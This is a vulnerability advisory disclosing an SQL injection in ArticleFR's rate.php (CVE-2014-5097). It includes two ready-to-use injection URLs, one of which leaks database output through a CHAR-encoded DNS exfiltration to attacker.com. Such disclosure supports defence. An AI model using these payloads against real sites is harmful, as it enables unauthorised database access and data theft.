SQL Injection Vulnerability in ArticleFR

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in ArticleFR, which can be exploited to perform SQL Injection attacks and gain complete control over vulnerable website.

1. SQL Injection in ArticleFR: CVE-2014-5097

The vulnerability exists due to insufficient sanitization of the “id” HTTP GET parameter passed to “/rate.php” script, when “act” HTTP GET parameter is set to either “get” or “set”. A remote attacker can send a specially crafted HTTP GET request and execute arbitrary SQL commands in application’s database.

The following exploitation example demonstrates vulnerability when “act” HTTP GET parameter is set to value “get”. The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for version() (or any other sensetive output from the database) subdomain of “.attacker.com” (a domain name, DNS server of which is controlled by the attacker):

http://[host]/rate.php?act=get&id=0%20union%20select%201,(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%20–%202

Below is another exploitation example, which displays version of MySQL server when “act” HTTP GET parameter is set to value “set”:

http://[host]/rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%2 0–%202